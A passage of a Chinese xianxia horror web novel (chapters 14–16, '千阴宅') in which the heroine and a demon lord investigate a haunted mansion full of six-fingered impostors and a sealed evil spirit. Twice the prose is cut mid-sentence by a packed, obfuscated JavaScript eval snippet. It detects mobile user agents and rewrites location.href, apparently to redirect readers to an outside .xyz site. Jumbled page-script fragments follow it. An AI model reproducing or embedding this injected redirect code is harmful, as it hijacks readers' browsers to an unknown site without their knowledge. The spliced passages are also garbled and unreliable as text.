话音刚落,井下的倒影旁边又缓慢探出一个黑影。 那是天葵的影子吗? 不等她开口求证,又一个黑影探出了半个身子。 晃动的水面上,接二连三地探出黑影,很快井下的倒影便在井边围满了一圈。 他们正在围观着井下。 又或者说,他们正在井下,围观着她。 商枝惊恐地瞪大双眼,额角的冷汗缓慢滑落。 下一瞬,一双手猛地在背后推了她一把。 看着商枝的身影消失在井边,天葵抬起长有六根手指的左手,掩唇轻笑起来。 无数争抢的声音在夜风中飘荡。 “是我的。” “是我的。” “是我的。” “她是我的……” 14. 千阴宅 许久不见商枝回来,朝朝隐隐感到有些不安,于是她打算出去找找商枝。 可刚踏出房门,她便看到桑婉宛若一个游魂般站在院中。 桑婉一袭白衣,手中还提着惨白的灯笼,再配上她面无表情的脸,在这寂静的夜色中实在有些瘆人。 “你要去哪里?”她问道。 朝朝如实回答:“商枝出去找南星了,不过她一直没回来,所以我想去找找她。” “不用找了,她已经回屋歇下了。” 桑婉的声音泛冷,还带着些许空灵,落入耳中显得很不真实。 朝朝心生奇怪:“歇下了?她怎么……” 桑婉沉声打断她的话:“马上子时了,你也该休息了。” 朝朝被她这话弄得一怔。 片刻后朝朝才点头说道:“好,但我想先去看看商枝,然后再回屋休息。” 桑婉淡漠回道:“她已经歇下,你最好不要去打扰她。” 朝朝觉得她有些奇怪,不由得皱起眉头。 桑婉淡漠地看了她一眼后,欲转身离去,朝朝却急忙开口发问:“表姐,桑宅中人是不是身上都有很可怕的伤疤?” 听到这话,桑婉的动作顿住,半晌她才再次看向朝朝。 朝朝继续说道:“我虽还未理清真相,但心中已有了猜测,表姐你应该是在帮我吧?既然想帮我,那为何不直接把真相告诉我?” 一阵夜风吹过,桑婉手中的灯笼摇晃不定,连带着其中的烛火也抖了抖。 桑婉的脸就在明明灭灭的烛火中忽隐忽现。 “你的猜测是什么?”她幽幽问道。 朝朝回道:“如果我没猜错,桑宅里的所有人是不是都已经死了?他们死前应该都承受过极大的痛苦,死后怨气凝结,化成强大的阴灵,不仅在宅中徘徊不散,甚至能在桑宅外行动,对吗?” 听完她的话,桑婉开口说道:“我不知道你说的阴灵是什么,但我想问你,我们看起来像死人吗?” “你们……”朝朝一阵语塞,片刻后才回答桑婉:“我试探过你们,有心跳,会呼吸,是活生生的人,但我猜,你们应该是用了什么古怪的法子,让自己看起来与活人无异。” 桑婉:“我们身上有你所说的怨气吗?” 朝朝:“怨气是可以隐藏的!” 桑婉:“那你觉得我们的目的是什么?” 朝朝:“我不知道,但肯定有人想要加害于我,所以你才急着赶我走,不是吗?” 待她话音落下,桑婉忽地弯起唇角,笑了起来。 这是朝朝头次见桑婉对自己笑,只是笑意未曾达到桑婉的眼底。 “朝朝,你的猜测还差很多,要想触碰真相,你需要见见他们。”桑婉慢声说道。 朝朝急忙问道:“他们?他们是谁?我要怎样才能见到他们?” 此时远处忽然响起打更人的梆子声。 桑婉敛起唇边的笑,声音也重新染上寒意:“已是子时,去休息吧,余下的话明日再说。” 说完,不等朝朝再开口,她便转身离去。 夜风中的凉意越发明显,还站在门口的朝朝抬眸扫了眼漆黑的夜幕。 今夜似乎不会太平,或许她应该听桑婉的话,先回到屋中。 想着,朝朝连忙进入屋中,关好门脱下外衣,熄灭烛灯,在床边将自己的一双鞋摆好位置后,迅速地钻进被窝中躺好。 屋内陷入寂静,朝朝却没有半点睡意。 这一日发生的事太多,件件都惹得她头痛。 桑远,桑婉,纸条,伤疤,每一个都是线索,偏偏她无法将其拼凑完整。 桑家的事已经够扑朔迷离,而她从玄烛身上发现的谜题也越来越多。 她的火焰为何会是琉璃净火?玄烛所说的混沌之力是什么?那混沌之力分明就在玄烛身上,玄烛却说那不是他的力量,这又是为什么? 除此之外,还有一件令朝朝非常在意的事。 在玄烛阻挡降魔杵的攻击时,她看到玄烛的掌心受了伤,流出的血却像是暗金色的! 天魔的血为什么会是暗金色的? 当时她并未追问玄烛此事,一是不确定自己有没有眼花,二是她怕玄烛从她的疑虑中看出些什么,毕竟不管玄烛身上的谜题是什么答案,她都必须完成崇明上神交代的事,所以她绝对不能让玄烛知道她真正的目的…… 思及此,朝朝将双手按在头上,烦心地一阵揉搓。 真是烦死了!这桩桩件件事都令她头疼!! 她正烦躁着,屋门外突然响起一阵敲门声。 “咚咚咚。” 这串急切的敲门声,在此阒寂的屋中听起来格外刺耳。 朝朝并没有立刻应声,而是坐起身朝门的方向看去。 “咚咚咚。”敲门声再次响起,声音比刚才更急了些,似乎屋外的人十分急切。 朝朝穿上鞋子走到门口,待敲门声第三次响起时,她出声问道:“是谁?” “是我,南星!”南星的声音传进屋内,她急急说道:“朝小姐,商枝出事了!” 闻言,朝朝拧紧眉头:“出了什么事?她不是已经回屋休息了吗?” 南星:“她根本没有回屋,而是跑进了西院废园里,我见她许久未出来,便进去寻她,结果发现她消失不见了!” 西院废园?! 朝朝心中一惊,商枝为何会跑去那里? “朝小姐,现在该怎么办?我们是等天亮后再寻她,还是现在就回去找?”门外的南星问道 朝朝立刻回答:“现在就找!我和你一起去找!” 桑宅诡异,越早找到商枝,越能确保商枝的安全。 在这个幻境中商枝是她带来的人,那商枝的安危她自然要负责。 想着,朝朝抬手打开屋门。 随着屋门的打开,一把匕首狠狠地从门外刺入朝朝腹中。 她甚至还未感受到第一刀的疼痛,那人便拔出匕首,又用尽全力刺入第二刀。 朝朝震惊地看着门外的人。 “你们……到底……” 第三刀紧接而来,一股咸腥涌上喉头,将她余下的话淹没在口中。 朝朝的身体不受控制地向后倒去。 直到她重重躺到在地上后,门外的三人才缓步入屋中,围在她的身边站好。 朝朝的头无力地偏向左侧,涣散的瞳眸中倒映出其中一人左手上的第六根手指。 那人用欣喜的目光望着她,慈爱地开口。 “你,是我们的。” * 夜幕阴沉,风也森冷。 此时此夜,正适合百鬼出行。 玄烛的身影悄无声息地落在佛堂屋顶之上。 他低垂凌厉的双眸,向下方扫视一番,不见半个人影。 随后他掌心朝下抬起左手,一团冥火自掌中落下,落在屋顶的瞬间化成一个冥火小人。 冥火小人懒散地伸个懒腰,抬头对上玄烛毫无情绪的双眼后,小人又急忙毕恭毕敬的站直身子。 “去佛堂里看看,佛像的眼睛是否睁着。”玄烛沉声命令。 小人用力点点头,然后迈开小短腿灵巧地跳下屋顶,迅速跑入佛堂中。 不过片刻,冥火小人便手脚麻利地爬了回来,对着玄烛一阵比划。 等小人比划完,玄烛弯起唇角,他挥手收回冥火,跃下屋顶。 佛堂内左右两侧各亮着三排供奉用的蜡烛,呈阶梯状,正对门的墙壁前摆放着一张四方供桌,供桌上不是什么祖先排位,也没有什么金身佛像,而是摆放着一个巴掌大的老旧木雕。 玄烛轻步走到供桌前,仔细打量起木雕。 这木雕很诡异,雕得分明是盘腿而坐的人形,脸却长得像蜘蛛,六只眼睛,没有鼻子,嘴里里还伸出钳子式的口器。 此刻木雕的六只眼睛全部紧闭着。 佛像闭眼方可阅,佛像睁眼杀机现。 眼下这东西闭着眼,正是翻阅佛堂内经文的时机。 玄烛从木雕上移开视线,在四周寻起纸条上所写的金经。 本以为这么重要的金经会很难找,可他只迈出两步,一侧身,就看到左侧最上面一排最右边的蜡烛旁放着一本书。 玄烛抬手在半空中一扯,那书便自己飞入他手中。 书封上用潦草的字迹写着陀罗尼经,字迹崭新,应该是有人后写上的,内里纸张泛黄,纸上还压了不少碎金箔。 他凝眉翻看起书内文字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966630|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这其中所写的,其实并不是什么经文,而是此地一段不为人知的故事。 这座山从千年前便住着一个名为希恶郎的邪祟,喜杀人作恶,更喜诱人杀人来获得精神上的满足,后被一位途经此地人神做法封印在一个木雕中,此邪物才停止了作祟。 直到两百年前,一个姓宋的大官在此山上辟出一块地准备建宅,在挖地基时从中挖出了希恶郎的木雕。 起初希恶郎试图引诱大官用血助其破解木雕的封印,但那个大官察觉到其为邪祟,并没有听从它的话,只是将它重新埋入了宅中的树下。 但大宅建好没多久,大官就发现自己得了怪病,寻遍名医皆无法医治,只能任由自己的身体一日不如一日。 希恶郎又借此机会引诱大官为自己解除封印,它以长生不死为诱饵,勾起了大官对生死之事的贪念。 于是大官挖出希恶郎,帮它解了封印,并将其当作神明供奉在家中,他为希恶郎提供杀人的机会,希恶郎则保大官全家人长生不死。 没有多久大官的儿女便发现了大官与希恶郎的交易,儿女不愿助纣为虐,欲带父母搬离此地,并寻找了高僧询问除掉希恶郎的方法,不过最终事情败露,宅中之人在一夜之间尽数消失不见,再无人知晓他们的下落。 他们所求高僧曾到过此地,不过希恶郎早已藏匿起来,高僧无法除掉邪祟,就把此事编纂成此书,想提醒后人不要被希恶郎的花言巧语所惑,也劝诫世人莫要因贪生而丧失人本该有良善和底线,并将除掉希恶郎的方法写在此书的最后。 最后一页应该记载地便是除掉希恶郎的方法,但玄烛翻到最后一页时,发现那最重要的一页,竟被人撕掉了。 他的神色一沉,正要再在旁的地方寻找线索,佛堂外忽然响起脚步声。 玄烛犹豫一瞬后,将陀罗尼经放回原位,转身化作一道影子沉入地下,如游鱼般离开了佛堂。 他在院中长廊现身,而后一路回到自己所住的屋前。 这屋子是陆承给他安排的,和一个名叫徐闻的杂工住在一起,不过昨夜玄烛并没有在屋内待过,而是去找了朝朝,之后又探查了整个桑宅。 未免惹人生疑,今夜他需回屋,而且他也要理一理现在手中的所有线索。 他走入屋中,悄声关好房门才转身看向屋内。 屋内没有点灯,一片漆黑,但这对他没有任何影响。 他看向床铺,上面躺着一个人,用被子从头蒙到了脚,虽看不清脸,但胸膛起伏均匀,应该是睡着的徐闻。 一切正常,但又有些不对劲。 屋内充斥着浓浓的血腥味。 玄烛眸色一沉,藏在背后的右手暗暗聚起冥火。 此时他身后的房门忽然被人敲响。 “咚咚咚。” 敲门声有些急切。 他侧脸看向房门,敲门声很快又响了起来。 “谁?”玄烛冷声问道。 “是我!徐闻!” 听到此话,玄烛不动声色地瞥了眼床那边,又神色冷漠地将视线移回到门前。 门外的徐闻继续说道:“你快出来!咱们屋里好像进了什么脏东西,刚才吓得我赶紧跑出来了!我正准备去叫人帮忙呢,就瞧见你跑进去了,我实在放心不下你,这才急忙跑过来提醒你!” 脏东西? 是指床上躺着的那个东西吗? “玄烛,你快出来吧!咱们去多叫些人过来,不然就咱俩可斗不过那东西!”徐闻催促道,声音里的焦急和恐惧不似有假。 玄烛却不急,不管床上躺着的是什么脏东西,他都能用一只手解决掉。 不过他现在不能出手,若因他出手在桑家引起骚乱,再把朝朝也招惹过来,那他很可能会丢掉足以摆脱朝朝的先机。 思忖后,他熄灭了手中的冥火,随后他缓缓抬起手臂,准备打开面前紧闭的房门。 在指尖快要触到门时,一只沾满鲜血的手突然从旁伸出,紧紧抓住他的手腕。 玄烛皱眉看向那只手的主人。 朝朝面色苍白地站在他身旁,额头布满冷汗,呼吸也十分粗重。 她深吸了两口气才抬眼看向他,费力地开口。 “绝对……不能开门……” 15. 千阴宅 “绝对……不能开门。” 朝朝吃力地说完最后一个字,随后身体倏地无力地躺倒在地上。 玄烛站在她身旁,双眸冷漠地睨着虚弱的朝朝,沉默良久才幽幽开口:“何人所为?” 朝朝平躺在地上,缓了一会儿才提起力气回答。 “南星,荣欣兰,还有……” 伤口突然一阵刺痛,她咬牙呜咽一声,然后才从喉咙中硬挤出最后一人的名字:“桑婉。” 对于这三个名字,玄烛并没有表现出多少惊讶。 门外的徐闻又敲了敲门:“玄烛!你在里面做什么呢?快出来啊!难道你被那脏东西缠住了?” 玄烛没理会徐闻的声音,而是又对朝朝问道:“你如何从她们手中逃出的?” 朝朝:“自然是用装死那招,趁她们对我放下戒备之时,用法术遁地逃出来的。” 待她说完,玄烛微微歪头,垂眼看向朝朝用左手捂着的伤口。 朝朝身上共有三处刀伤,都在腹部,鲜血还在向外流着。 “伤口竟然没有愈合。”玄烛的眼底闪过些微光亮,似是有些欢喜,“你这是要死了?” 朝朝有气无力地回道:“死不了,就是……愈合的慢了些。” 听她说死不了,玄烛眼中的那点光亮瞬间暗下去,片刻后冷声又问了句:“你手上有其他线索吗?” 朝朝回给他一个对眼的呆子表情,说道:“我拒绝回答这个问题。” 说完,她又对着玄烛咧嘴一笑,一看就是在演装傻充愣。 玄烛缓缓蹲下身,神色阴沉地开口:“你什么意思?” 朝朝:“这两日我把自己得到的线索都分享给你了,可你却没和我说过任何有用的线索。” 玄烛面无表情地回了句:“我没有线索可同你说。” “天魔大人~别开玩笑啦~”朝朝吐出很不正经的语调,抬起满是血的手,扯着玄烛垂在地面的衣角晃了晃。 她说:“我不傻,天魔大人和我一样急着离开幻境,怎么可能不在桑宅中搜找线索?我也不相信你一条线索都没找到,如果天魔大人现在不拿有用的线索和我做交换,就别想从我这里再听到任何线索了。” 闻言,玄烛恼火地与朝朝对视着。 朝朝毫不畏怕地迎着他视线,只是因腹部的伤口,脸色比刚才更加苍白了。 半晌玄烛才幽声开口:“所以,你早就猜到我对你有所隐瞒?” 朝朝点了点头。 玄烛:“为何之前不戳穿此事?” 朝朝:“之前我想着你不说也无妨,我只要能跟紧你,你就不可能甩掉我,不过眼下不一样了,我这伤口愈合得慢,已经影响到我的行动,我若再装傻,搞不好真的会被你丢在这幻境中。” “你果然狡猾。”玄烛沉声道。 朝朝却一脸不好意思地回道:“别夸我啊,我都害羞了!” 这不是夸奖!! 玄烛咬牙轻吸一口气,好不容易才没让自己的表情被朝朝气得分崩离析。 调整好呼吸后,他眼底的冰层更厚了些,说道:“就算你选择闭口不言,如今我所知晓的也比你多,而你负伤无法痊愈,现在的你对我来说,既无用途,也无威胁。” “那可不一定。”玄烛的话刚落,朝朝便笑眯眯地说道。 玄烛皱起眉头。 朝朝又轻声吐出三个字。 “希恶郎。” 听到这三字,玄烛的眸光一沉,良久才沉沉说道:“你去过佛堂?” “昨日上午在宅中探查时,我就进去过了。”朝朝用舌尖舔了下发干的唇瓣后,含笑瞥了眼玄烛,“看来天魔大人也进去过了。” “就算你知道此地的邪祟为何物又如何?”玄烛十分无情地说道:“你知晓的,我亦知晓,我独自破解幻境即可,何必带着你这个麻烦。” 一听到麻烦两个字,朝朝立刻用双手捂住眼睛,嚎啕大哭起来:“天魔大人好绝情啊!怎么能说我是麻烦呢,你忘了我们之前并肩作战的样子了吗?明明我们很有默契的说……” 她毫不收敛地嚎着,震得玄烛耳朵生疼。 玄烛面上略带无语地合上双眼,咬牙说道:“你,闭嘴!” 朝朝这才收起声音,放下双手,笑着看向玄烛,一双眼清明干爽,分明一滴眼泪都没挤出来。 “那本陀罗尼经,不是没有最后一页吗?我知道在哪里能找到最后一页。”她说道。 玄烛:“在哪里?” 朝朝把头转向另一侧,又不看他了。 “我才不告诉你!天魔大人想知道,就拿你手上的线索和我做交换。” 说完,她还十分悠闲地吹起口哨。 看朝朝那副因拿捏住他而得意的模样,玄烛被气得牙痒痒。 这家伙!! 玄烛用力攥紧拳头,片刻后沉声开口。 “我手上有两张纸条,一张写着桑宅中左手生有六指之人为邪祟假扮,不可信,另一张则提起佛堂中的陀罗尼经,不过佛像睁眼时不可进入佛堂,否则会有危险。” 听他说完,朝朝自言自语道:“那我还挺幸运,去佛堂时,佛像正好闭着眼呢,六指之人……我之前就注意到了有人生有六指,不过还以为是自己眼花,哎,还是大意了……” 她还没念叨完,玄烛突然抬起左手,用力捏住她的脸颊,强行将其视线掰向自己。 “现在,该你说线索了!”他的语气不是商量,而是命令。 朝朝被他捏得脸颊生疼,‘诶诶’叫了两声才含糊地说道:“不行!若我现在告诉你,你肯定又会想办法甩掉我!所以我还不能告诉你!” 玄烛:“你莫不是在造谎?其实你根本不知道那最后一页在哪里吧!” “骗你是小狗!”朝朝也来了脾气,愤愤说道:“我和天魔大人可不一样,我只想跟天魔大人心连心,天魔大人却一直和我玩脑筋!既然如此,我只能用霸王硬上弓的法子,将我们的关系变得牢靠起来!” “霸王硬上弓?”玄烛的嘴角不受控地抽搐两下,“你可真敢说,好啊,既然你不肯说,那便不用说了,我现在就把你的舌头割下来……” 正说着,门外突然响起诡异的声响。 “咔啦咔啦……咔啦咔啦……” 屋内的二人同时朝门口看去。 门外的徐闻不知是何时变得十分安静,不过他们还能看到映在窗纸上模糊的人影。 “咔啦……咔啦……咔啦咔啦咔啦……” 那声音还在继续,且越来越长,越来越快,莫名让人感到不舒服。 玄烛松开了捏着朝朝的手,朝朝则用右臂撑起上半身,紧张地向玄烛靠近几分:“这是什么怪动静?” 玄烛神情幽幽地看着门上漆黑的人影,半晌才开口。 “他在用指甲刮窗棂。” 听完这话,朝朝面露嫌弃:“手指不疼啊?” 玄烛凉凉道:“已经死了,怕什么疼。” 在他们说话的功夫,门外的黑影蓦然多了一道,咔啦咔啦的声响也变成了两个。 紧接着一道又一道的黑影出现在窗外,很快他们连成一排。 “出来啊……朝朝,玄烛,出来吧……我们不会伤害你们的……” 无数的人声混杂着咔啦咔啦的声响传入屋内,阴恻恻,冷冰冰,令人毛骨悚然,不寒而栗。 玄烛皱了皱眉头正要,正要放几道冥火驱赶屋外的东西,朝朝却拉了拉他的衣袖。 她说道:“我们还是把力气留到明日吧,他们进不来这里。 玄烛看向她:“为何?” 朝朝解释道:“我躲进你这间屋子后,他们也是在门外敲门,还说了一些真假难辨的话哄骗我,就和刚才那男的迷惑你开门一样,可这招此前他们已经对我用过一次了,你想想,明知我不可能再上当一次,他们为何还要坚持哄骗我开门,而不是直接闯进来杀了我?” “因为,若不主动给他们开门,他们便无法进入有人的房间,只能想办法让屋内的人给他们开门。”玄烛接道。 朝朝点头:“所以,不管他们说什么做什么,只要我们不理会,他们便没辙,我猜,这夜半敲门不可开,很有可能也是某张纸条上的禁忌,只是我们还未找到这张纸条。” 玄烛转动泛冷的眼眸看向她:“难道你打算一直躲在屋中,和他们耗着?” “当然不是!”朝朝连忙解释:“我说了,我知道陀罗尼经的最后一页在哪里,不过这拿到最后一页的法子很特殊,需要我们等。” 玄烛:“等?” 朝朝:“对,就是等,我们现在只能在这屋中等等,如果运气好,明日一早应该就能拿到最后一页了,所以刚才我才叫你把力气留到明日嘛。” 玄烛略微沉默,而后沉声道:“你说的特殊方法,到底是什么?” “特殊方法呀……”朝朝捂着伤口扭过身子,一点点朝床铺的方向挪去,“天魔大人不用操心这事了,你就安心等着明日破解幻境走人吧。” 玄烛不屑地冷哼一声。 说什么不用他操心,其实就是不愿将线索告诉他,好把主动权掌握在朝朝自己手中。 果然诡计多端。 他瞥了一眼窗户,门外的东西还在制造着噪音。 等他再看向朝朝,那家伙还在卖力地往床铺挪动,但距离床铺还差两步远。 他轻呼出一口气,随后站起身,眸色沉沉地走到朝朝身边,左手一把将其从地上拦腰捞起,夹着她走到床边,又一把将朝朝丢到床上。 对于此举,朝朝没有半点不满,还顺势在床上滚了一圈,停下时把双脚伸到床边,动作麻利地将鞋踢在地上,又扯了个枕头垫在脑袋下平躺好。 “天魔大人,你好人做到底,帮我把鞋摆好吧,鞋头要对着床。”朝朝笑吟吟地求他。 玄烛冷着脸,连看都不看她一眼。 知道玄烛不愿帮自己做事,朝朝也不强求,又半撑起身子,费力地伏身将鞋子摆好。 玄烛不动声色地睨了朝朝一眼。 这家伙的麻烦之处,不仅在于不会死,还有一点,那就是她并不笨,反而很聪明。 所以崇明才会将她送进来。 玄烛正要收回视线时,左手忽地被一股温暖紧握住。 他垂眸看去,发现朝朝的右手握住了他的手。 她握得很紧,似是怕被他甩开,掌心的温度紧紧黏着他的肌肤,几乎刺痛了他。 玄烛很讨厌这种感觉。 未等他喝止,已经躺回到床上的朝朝先开口说道:“我的伤口不知多久才能愈合,浅睡一会儿或许能好得快些,夜里恐生旁的事端,我们牵着彼此的手,若有事发生也能尽量不被意外分开,如此我才能安心合上眼。” 玄烛咬牙冷声道:“你该怕的不是旁的事端,而是我!” “之前我是有些怕你,不过现在却越来越不怕了。”朝朝合上眼,懒散地说道。 听闻此言,玄烛的眉头越皱越紧,问了句:“为何?” 朝朝:“天界的书中所描写的天魔,青面獠牙,目若铜铃,头上没几根头发,把你写得要多吓人有多吓人,可我见到的你却是眉清目秀,英俊非凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966631|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可见那些书未必全都是对的,天魔也未必有书上写的那么可怕。” 玄烛略微沉默,片刻后声音里没了恼意,而是不带任何情绪地问她:“你看的书还写了什么?” “写你生来便带有毁天灭地,祸乱众生之力,写你凶神恶煞,残暴无情……”说着,朝朝顿了顿,抬起眼帘看向玄烛,“你是不是得罪过写书的人啊?不然那人为何要把不好的词语都往你头上扣?” 玄烛也看向她,许久才轻启唇瓣:“你最好相信写那本书的人。” 朝朝一怔,不解他所言何意。 玄烛缓缓俯身靠近,发尾从肩上滑落轻扫过朝朝的颈侧,留下一点痒意。 他吐出低沉的声音:“我确实有毁天灭地之力,祸乱众生之力,那人所写并非为假,离开十恶境后,我要做的第一件事,就是毁灭六界。” 玄烛的声音越来越冷,到最后声音里只剩下恨意,再无其他。 他的眸子近在眼前,漆黑的眼眸倒映着朝朝呆怔的脸,其中的黑暗压得朝朝有些喘不过气,眼尾那抹凌厉的红则化作毒蛇,湿冷、滑腻地缠绕住她的心头,一点,一点缩紧。 如此恶毒的恨意。 到底为什么? 朝朝怔怔看着他,甚至忘了眨眼,直到眼睛开始发干,她才本能地眨了眨眼。 似乎察觉到她心底的那点恐惧,玄烛的唇角嘲弄地弯了弯。 他正打算直起身子时,朝朝忽然问道:“天魔大人所说的毁天灭地之力,是混沌之力吗?” 玄烛面无表情地偏了偏头,许久才慢悠悠地吐出几个字。 “我,才不告诉你。” 朝朝感觉自己的脸被玄烛的话狠狠抽了一下。 玄烛这是拿她之前说过的话报复她呢! 别的不说,天魔气量很小这件事,那本书写的的确没错!! 朝朝气恼地眯起眼盯着玄烛,片刻后她紧合上眼,飞快地说道:“不说就不说,我要睡了!天魔大人不要再和我说话了!” “先把你的手松开。”玄烛冷声道。 他的话音刚落下,朝朝就发出了巨大的呼噜声。 玄烛的怒火顿时又被她勾了起来。 说睡就睡,什么典灯小仙,这分明是典灯小猪!! 他越想越气,抬起另一只未被朝朝握着的手,想要去掐朝朝的脖子将其弄醒。 指尖贴近朝朝脖颈的瞬间,她突然出声呢喃。 “我不信那些书,我只相信……我自己。” 玄烛的指尖顿了顿。 这到底是梦中吐真言,还是她在装睡,想要以此来迷惑他。 似真似假,难以分辨。 就像从前,太一总是让他分不清哪句话是真,哪句话是假…… 他垂眸看向朝朝的右手。 很温暖。 温暖中还透露着危险。 这温暖就好像在提醒他,他已经被骗过一次了。 这次,不能再被骗了。 * 朝朝醒来时,窗外已经放亮。 她的视线迷迷糊糊地在屋中转了一圈,最终停在了端正地坐在她身边,合着双眼的玄烛身上,而她的手依然和玄烛的手紧握在一起。 随后她又急忙用另一只手摸了摸自己腹部的伤口,虽未痊愈,但伤口已比昨夜小了很多,也不再流血了。 太好了,事情还在她的掌控之下! 昨夜她受伤,发现伤口无法立刻痊愈后,她慌了一阵。 就是这不死之身,无伤之体,才让玄烛感到头疼,让她能与玄烛纠缠不清。 若玄烛知晓此幻境内的东西能给她造成严重的伤害,很有可能会反过来利用这点,让桑家人困住她,那场面可就失控了,所以起初她并不想玄烛知道伤口的事。 可已经受伤的她又必须寻得玄烛的庇护,不然就会直接落进桑家人手中,更难逃离幻境。 两难时,她决定赌一把,找玄烛帮忙,把伤情也袒露给他,再以幻境线索为诱饵,让玄烛不得不护住她。 但这个赌全压在玄烛身上,要看他到底有多狠心,若他足够狠心,很有可能选择不要她手中的线索,直接将她丢给桑家人,再用其他方法强行破境离开。 如果玄烛真那么做了,她就不得不用上这招了。 朝朝瞥了一眼自己的右手。 幸好这招并没有用上。 想着,朝朝忍不住偷笑一下。 她赌赢了,玄烛还没有她想得那么狠心,没有把她丢给桑家人。 “现在你可以说线索了?” 玄烛冷沉的声音忽然响起。 朝朝连忙看向玄烛,也不知他何时睁开的双眼,此刻正冷漠地注视着她。 她笑着坐起身,牵着玄烛的手晃了晃:“不用说,我直接带天魔大人去找。” 看着她灿烂的笑脸,玄烛眼中隐隐露出不解:“你看起来,很开心?” “是啊,睁开眼就看到天魔大人在我身边,我当然开心。”朝朝说道。 她说完此话,玄烛的眉心皱得更紧了些。 朝朝没注意他的神情,而是探头看了看昨夜在床前摆好的鞋子。 原本对着床的鞋头,现在已经对着门口的方向了。 “我们太幸运了,一次就能成功。“ 朝朝自言自语完,急忙松开玄烛的手,穿好鞋子小跑到门口,一把拉开门。 门外,雾气弥漫,日头挂在北边,院子里原本茂密的树也已凋零,只余虬枝,原本十分干净的院子,现已变得破败不堪…… 这里,便是另一个桑宅。 16. 千阴宅 朝朝仰头看着天上那个陌生的太阳,许久未动。 玄烛走到她身后,也注意到了太阳的异常。 “陀罗尼经的最后一页在这里?”他沉声问道 “嗯。”朝朝淡淡应道,随后从怀中摸出一张卷起的纸条,“这是昨日我在佛堂前捡到的,因为猜到你对我隐瞒了什么,所以昨日我没有把这张纸条给你看。” 玄烛冷斜了她一眼后,拿过纸条展开。 “五、若你此刻身处十分陌生的桑宅,记住以下几句话:下为上,左为右,空即满,有则无。” 在他看纸条时,朝朝说起了自己的分析:“这陌生的桑宅,应该指的就是纸条三中提到的不认识的桑家,下为上,左为右,空即满,有则无,这句话中的几个字皆是相反的,我想应该是指此地的一切都和我们所在的桑宅相反,若我猜的没错,那么原本在桑宅里没有的东西,肯定能在这里找到!” 听她说完,玄烛抬眸看向她:“算你有用。” 他话是这么说的,但朝朝还是从玄烛的语气中听出了不屑。 不过她没有不满,反倒高兴地蹦起来:“我就说我有用吧!以后我们心连心,我定会罩着你的。” 说着,她还用双手比了个心,开心地对着玄烛晃了晃。 玄烛正想骂她蠢货,破败的院子中忽地响起一串阴森的笑声。 “咯咯咯……” 二人同时朝笑声的方向看去。 一个人影站在枯树后,那声音尖细,音调诡异的笑声就是从它身上传出的。 待那人探出头时,朝朝才看清它模样。 准确地说那东西只是一个人形的影子,脸上黑漆漆的一片,根本没有五官 朝朝吐出两个字:“阴灵。” 人若死后执念无法消散,便会化作名为阴灵的邪祟,而执念越重,阴灵越难缠。 这十恶境内的阴灵,想必比寻常阴灵更难对付。 “朝朝……小朝朝是我的……” 阴灵嘴里咬着自己右手食指,嘴里吐出兴奋的声音,虽看不到双眼,但朝朝能感觉到那东西正直勾勾地盯着自己。 这种感觉,就和之前异常版的南星和桑洵一模一样。 朝朝感到一阵寒意,连忙后退两步,移到玄烛身后。 看见她害怕的样子,阴灵变得更加兴奋,甚至吐出的字都兴奋地开始颤抖:“朝朝,你是我的……成为我的身体吧……我可以实现你的愿望……” “这里的东西还真是恶心,怎么每个都盯着我两眼放光,还总说我是他们的。”朝朝不悦地玄烛身后咕囔,还一脸被恶心到的表情。 她说完,挡在她身前的玄烛略微思忖,看向那个阴灵冷声道:“不如我来成为你的身体。” 闻言,朝朝一惊,瞪大双眼看着他:“天魔大人,原来你想要这种畸形的爱啊,你早说呀,我也可以装成变.态满足你的。” 玄烛忍住了翻白眼的冲动,但还是忍不住怼了朝朝一句:“不必装,你已经够变态了。” 那边的阴灵又咯咯笑起来,打断了二人的拌嘴。 “不,我不要你……你身上有着和我们一样阴暗的气,很恶心……朝朝不一样,朝朝的身体很温暖……所以,她是我的……” 听它说完,朝朝气愤地在玄烛身后探出头:“你这家伙,我们天魔大人是很阴暗,但你说他恶心就过分了!再敢说,小心我敲烂你的脑袋!!” 随后朝朝偷瞄了玄烛一眼,心想自己维护他,他应该会感到开心吧。 然而玄烛只是冷冷瞪了她一眼,丝毫不见开心的样子。 收回视线后,玄烛低声开口:“它说,我和它们一样。” 朝朝连忙安慰他:“你别听它的,你忘记这里的阴灵很会骗人了?你怎么可能和它们一样。” 玄烛却没理她,反倒对着阴灵微弯唇角:“若真如它所说那般,就好办了。” 说完,他倏地侧身,一把揪住朝朝的衣襟,猝不及防地将其向阴灵丢去。 朝朝在半空中划出一道完美的弧线。 她惊叫着抱住脑袋:“啊啊啊!你又坑我!这次我真的生气了!!” 那边的阴灵看着朝朝离自己越来越近,急忙从树后跳出来,开心地张开双臂迎接朝朝。 “不要啊!!”朝朝看着它直摇头。 眼看就要落入阴灵手中,身后突然响起玄烛低沉凉薄的声音。 “蠢货,琉璃净火。” 他话音落下的瞬间,朝朝连忙在腹中酝酿起火焰,等到了阴灵眼前时,她张嘴猛地喷出一串火焰,正中阴灵面门,一股烤焦味顿时四溢。 朝朝重重摔趴在地上,阴灵则站在她身前,痛苦地捂着脸尖叫,不出片刻便化成一团黑雾散开。 看着阴灵消散的画面,朝朝隐隐觉得好像有些眼熟。 